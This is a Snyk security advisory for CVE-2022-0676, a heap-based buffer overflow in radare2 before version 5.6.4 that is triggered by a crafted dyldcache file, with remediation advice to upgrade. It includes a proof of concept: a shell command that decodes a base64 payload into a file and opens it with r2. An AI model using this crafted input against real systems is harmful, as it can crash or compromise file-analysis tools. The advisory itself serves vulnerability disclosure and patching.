Heap-based Buffer Overflow Affecting radareorg/radare2 package, versions [,5.6.4)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.17% (55th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-UNMANAGED-RADAREORGRADARE2-2408036
  • published22 Feb 2022
  • disclosed22 Feb 2022
  • creditlazymio

Introduced: 22 Feb 2022

CVE-2022-0676  (opens in a new tab)
CWE-122  (opens in a new tab)

How to fix?

Upgrade radareorg/radare2 to version 5.6.4 or higher.

Overview

Affected versions of this package are vulnerable to Heap-based Buffer Overflow via the processing of a crafted dyldcache file.

PoC

printf "%s" "ZHlsZF92MSB4ODZfNjRoANFkeWxkXwAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABtNjRfdjEgeDg2XzY0aADRZAAAAAAAAAAAAAAAAAAANjQXdjEgIHg4Nl82NAAAAgRkeWxkX3YxICB4ODZfNjQXFxcXFxcXFwAAAAAAAAAAAAAAAAAAAAAAAAAAAP/eAABkeWxkX3YxIHg4Nl82NGgA0RdkeW9kXHYjIHg4Nl82AWgAAAIIZHmBMV9kX3YxAAAAAAAAAAAAdjEAAAAAAAAAAAAAAAAAIQBtNjQAAAAAAAAAAAAAAAAAAAAAWwAAbTY0FxcAAACLAAAAAAAAAAAAFxcPFxcAAAEAAAAAAAAAAAAAAAD+/wAAAAAAAAAAAAA=" | base64 -d > /tmp/a
r2 /tmp/a

References

CVSS Scores

version 3.1